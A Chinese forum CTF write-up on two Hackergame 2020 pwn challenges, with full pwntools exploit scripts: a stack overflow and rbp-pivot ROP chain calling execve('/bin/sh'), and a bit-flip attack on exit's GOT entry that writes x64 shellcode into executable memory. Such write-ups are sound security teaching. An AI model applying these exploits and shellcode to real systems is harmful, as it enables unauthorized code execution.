首页
社区
课程
招聘
[原创]Hackergame 2020 pwn writeup
2020-11-7 16:18 6174

[原创]Hackergame 2020 pwn writeup

2020-11-7 16:18
6174

前言

  • 大赛地址: https://hack.lug.ustc.edu.cn/
  • 官方 wp 地址: https://github.com/USTC-Hackergame/hackergame2020-writeups

生活在博弈树上

这道题目要求和 AI 下一个 3x3 的井字棋,AI 先手且使用了一个不败的算法,最好的结果就是平局,而只有获胜我们才能拿到 flag。

第一问

第一问非常直白,只要获胜即可拿到第一个 flag,查看代码可以知道控制是否获胜的 success 变量是一个局部变量,即这里的 v15:

 

接收输入的变量为 v12,它也是一个栈变量,长度为 128B:

 

其中,v15 位于 rbp-1,v12 位于 rbp-0x90,因此这里我们可以通过 v12 栈溢出写入到 v15 中,使其变为 1 即可,因此在我们下第一步棋的时候在合法输入后跟上 payload 即可,注意这里不能无脑的写 1,因为循环的判断条件 while (!success) 的实际代码如下:

1
2
3
4
5
loc_402536:
movzx   eax, [rbp+var_1]
xor     eax, 1
test    al, al
jnz     loc_402373

这里取出 1B 进行异或判断,如果这 1B 不是 0x01 而是 0xFF,则会无法正常通过 test 判断,因此这里我们选择的 payload 为 0x01 的序列,例如:

1
payload = b'(2,1)' + p8(0x01) * (0x90 - 0x01)

第二问

第二问要求 get shell,这道题目开启了 NX 但木有使用 Stack Canary,所以我们可以使用 ROP 方式完成调用 execve("/bin/sh", 0, 0),这里在 x64 下 execve 对应的调用号为 59,因此需要满足以下条件:

1
2
3
4
rax = 59
rdi = ptr -> /bin/sh
rsi = 0
rdx = 0

一般而言对于动态链接 libc 的程序,非常容易找到这些 gadget 以及 /bin/sh 字符串,但这道题目的 binary 静态链接了 libc,在这种情况下我们能找到的 gadget 只有如下这些:

1
2
3
4
5
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall     = 0x0000000000402bf4

这些能够完成一个 syscall 的调用,但却无法提供一个指向 /bin/sh 的指针,这就要求我们在 input 时在 payload 中预留一个 /bin/sh,再让 rdi 种存储它的地址,这里有两种玩法,第一种是先给任意寄存器写一个堆地址,再用 mov qword ptr 将 /bin/sh 写入到这个堆地址,最后就能 happy 的使用了,这种解法可以见官方 writeup。 我当时费解了竟然没有想到这种简单办法,而是选择了控制 rbp 去重入一次程序,精确控制写入的地址。

 

我最后采取的办法是控制 rbp,我们知道栈上的寻址都是直接基于 rbp 的,在函数最后执行 leave 操作时会 pop rbp,因此我们可以将期望的 rbp 写到栈上,然后将返回地址覆盖成程序接收输入前的地址,实现一个 rbp 可控的重入,这次我们就可以基于 hardcode 的 rbp 确定 /bin/sh 的地址了。

 

这里我选择的重入点为输入前的 0x4023F0:

 

对于 rbp,本来想选择一个栈上地址,但不知道为什么 remote 一直 crash,最后选择了一个堆地址 0x4a9000:

 

payload 为:

1
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(0x4a9000) + p64(0x4023F0)

其中 0x4a9000 正好覆盖到栈上的 rbp,0x4023F0 则覆盖道返回地址,这么一番操作之后,函数 leave 后 rbp = 0x4a9000 并跳转到 0x4023F0 再次接收用户输入。这里的关键在于第二轮 rbp = 0x4a9000,input 变量是基于 rbp 寻址的,所以会写入到 rbp - 0x90 对应的地址:

 

随后在函数退出时,又会执行 leave,将当前的 rbp 赋值到 rsp 以恢复栈帧,使得 rsp 恰好指向了我们的 payload:

1
input = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + payload

那么 payload 的开头我们如果放置 /bin/sh,则 rsp 恰好指向 /bin/sh,也就是 rbp 恰好指向 /bin/sh,即 0x4a9000 即为 /bin/sh 的地址。接下来就可以按照 ROP 的套路构造如下的调用链,gadget 可以使用 Ropper 直接在 binary 中扫描:

1
2
3
4
5
6
7
8
pop rax
ret
pop rdi
ret
pop rsi
ret
pop rdx
ret

其中 rax 的值为 59(execve 的 syscall number),rdi 的值为 0x4a9000(/bin/sh 地址),其他的均为 0,我们按照这个规则构造 payload:

1
2
3
4
5
6
payload  = b'/bin/sh\x00'
payload += p64(g_pop_rax_ret) + p64(59)
pyaload += p64(g_pop_rdi_ret) + p64(0x4a9000)
payload += p64(g_pop_rsi_ret) + p64(0)
payload += p64(g_pop_rdx_ret) + p64(0)
payload += p64(g_syscall)

当第二次进入 leave 时,rsp 指向了 payload 的开头,随后函数 ret,第一个 gadget 地址 g_pop_rax_ret 被弹出,执行:

1
2
pop rax
ret

第一次 pop 弹出的是 payload + 8 的 59,随后的 ret 则弹出下一个 gadget,以此类推,最后即可 get shell。完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import sys
 
rbp = 0x4a9000
target_addr = rbp
is_remote = True
 
if not is_remote:
    p = process('./tictactoe')
else:
    p = remote('202.38.93.111', 10141)
 
if is_remote:
    print(p.recvuntil(':'))
    p.sendline('your token')
 
# first round, change rbp
# gadgets
#0x00000000004017b6: pop rdi; ret;
#0x0000000000407228: pop rsi; ret;
#0x000000000043e52c: pop rax; ret;
#0x000000000043dbb5: pop rdx; ret;
#0x0000000000402bf4: syscall;
g_pop_rdi_ret = 0x00000000004017b6
g_pop_rsi_ret = 0x0000000000407228
g_pop_rax_ret = 0x000000000043e52c
g_pop_rdx_ret = 0x000000000043dbb5
g_syscall = 0x0000000000402bf4
g_restart = 0x4023F0
 
# first round
print('first round: change rbp')
payload = b'(2,1)' + p8(0x01) * (0x98 - 5 - 8) + p64(rbp) + p64(g_restart)
print(p.recvuntil(":"))
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvuntil(':'))
print('[Main] round 1 finished')
 
rop_payload = p64(g_pop_rax_ret) + p64(59) + p64(g_pop_rdi_ret) + p64(target_addr) + p64(g_pop_rsi_ret) + p64(0) + p64(g_pop_rdx_ret) + p64(0)
rop_payload += p64(g_syscall)
payload = b'(2,2)' + p8(0x01) * (0x98 - 5 - 8) + b'/bin/sh\x00' + rop_payload
 
p.sendline(payload)
print(p.recvuntil('flag:'))
print(p.recvline())
print(p.recvline())
p.interactive()

超精准的宇宙射线模拟器

这道题明面上允许我们翻转任意地址内容的一位,随后调用 exit 退出,为了 get shell,我们需要多次翻转某个地址成为 shellcode 或者指向 one_gadget,然后想办法跳转到此完成 get shell。

1
2
3
4
5
6
7
ubuntu@ubuntu:~/ctf/hackergame2020$ checksec bitflip
[*] '/home/ubuntu/ctf/hackergame2020/bitflip'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

由于开启了 NX,因此第一个想法是利用 one_gadget,先翻转出 one_gadget 的地址再想办法跳转过去,遗憾的是经过我一顿操作无论如何也满足不了几个 gadget 的约束条件(而且是恰好不满足,看起来是有意为之)。接下来就再试试 shellcode,通过阅读反汇编内容不难知道 bitflip 种包含了一个 JIT 区域:

 

即从 _init_proc ~ _init_proc + 0x1000 都是 JIT 区域,即 0x401000 ~ 0x402000,通过 vmmap 也可以验证这一点:

 

那么我们只要在这段区域内翻转出 shellcode,然后跳过来执行即可实现 get shell,接下来我们面临两个问题:

  1. 如何实现多次翻转?
  2. 如何跳转到 JIT 区域?

实现多次翻转

我们来看主程序代码:

 

搞一波就会被 exit,而且翻转逻辑位于 while 外部,所以我们只能翻转 exit 的地址让它跳回去,这里的 exit 是一个外部符号,需要通过二次跳转实现调用,这里的二跳第一次对应的是 stub helper 用来绑定真实的 exit 地址并完成调用,第二次就是 exit 的真实地址了:

 

 

 

可以看到 exit 第一次绑定的间接地址是 0x401070,我们要将它翻转为 main 中的一个可用地址,经过尝试可知 0x401170 是一个不错的选择,它恰好能让程序返回到 while 1 当中从而多次接收输入,因此我们要翻转的是指向 0x401070 的 0x404038 的第 8 位,而程序只允许我们翻转 0 ~ 7 位,所以我们转化为翻转 0x404039 的第 0 位,即输入为:

1
0x404039 0

此时可以看到我们可以多次翻转地址了,下一步就是选择合适的 JIT 区域了,注意我们只能选择可以跳转过去的区域,这里我们可利用的也就只有 exit 了,再次翻转 exit 的间接跳转地址,让它指向 JIT 区域,目前的值是 0x401170,而 JIT 区域的范围是 0x401000 ~ 0x402000,我们可以选择翻转 0x404039 的第 3 位让 exit 指向 0x401970,那么 JIT 区域的位置也就确定了是 0x401970。

 

0x401970 是全 0 的区域,我们只需要按照 x64 shellcode 将其翻转即可,shellcode 为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0000000000400080 <_start>:
  400080:    50                       push   %rax
  400081:    48 31 d2                 xor    %rdx,%rdx
  400084:    48 31 f6                 xor    %rsi,%rsi
  400087:    48 bb 2f 62 69 6e 2f     movabs $0x68732f2f6e69622f,%rbx
  40008e:    2f 73 68
  400091:    53                       push   %rbx
  400092:    54                       push   %rsp
  400093:    5f                       pop    %rdi
  400094:    b0 3b                    mov    $0x3b,%al
  400096:    0f 05                    syscall
 
######################
# 24 Bytes Shellcode #
######################
 
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

由于我们不是以字符串的形式传递 shellcode 的,不需要避免字符串被 0 截断,可以将 /bin//sh 改为 /bin/sh\x00 (因为我遇到了 /bin//sh 无法正确执行 syscall 的问题,不知道为啥),即 shellcode bytes 为:

1
shellcode_bytes = [0x50, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05, 0xeb, 0xfe]

将这些内容通过翻转写入到 0x401970 开始的地址,然后在完全翻转完成后再翻转一次 0x404039 的第 3 位即可跳转过来完成 get shell。

 

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
 
def patch(addr, locs):
    for loc in locs:
        print('patch 0x%x with flip %d' % (addr, loc))
        p.sendline('0x%x %d' % (addr, loc))
        p.recvuntil('flip?')
 
is_remote = True
 
if is_remote:
    p = remote('202.38.93.111', 10231)
    print(p.recvuntil(':'))
    p.sendline('your token')
else:
    p = process('./bitflip')
 
print(p.recvuntil('flip?'))
patch(0x404039, [0])
 
start_addr = 0x401970
shellcode_bytes = [0x50, 0x48, 0x31, 0xd2, 0x48, 0x31, 0xf6, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x54, 0x5f, 0xb0, 0x3b, 0x0f, 0x05, 0xeb, 0xfe]
for i in range(len(shellcode_bytes)):
    cur_byte = 0x00
    dst_byte = shellcode_bytes[i]
    flip_bytes = []
    for i in range(8):
        cur_bit = cur_byte & (0x1 << i)
        dst_bit = dst_byte & (0x1 << i)
        if cur_bit != dst_bit:
            flip_bytes.append(i)
    print("for addr 0x%x" % start_addr, flip_bytes)
    patch(start_addr, flip_bytes)
    start_addr += 1
 
p.sendline('0x404039 3')
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回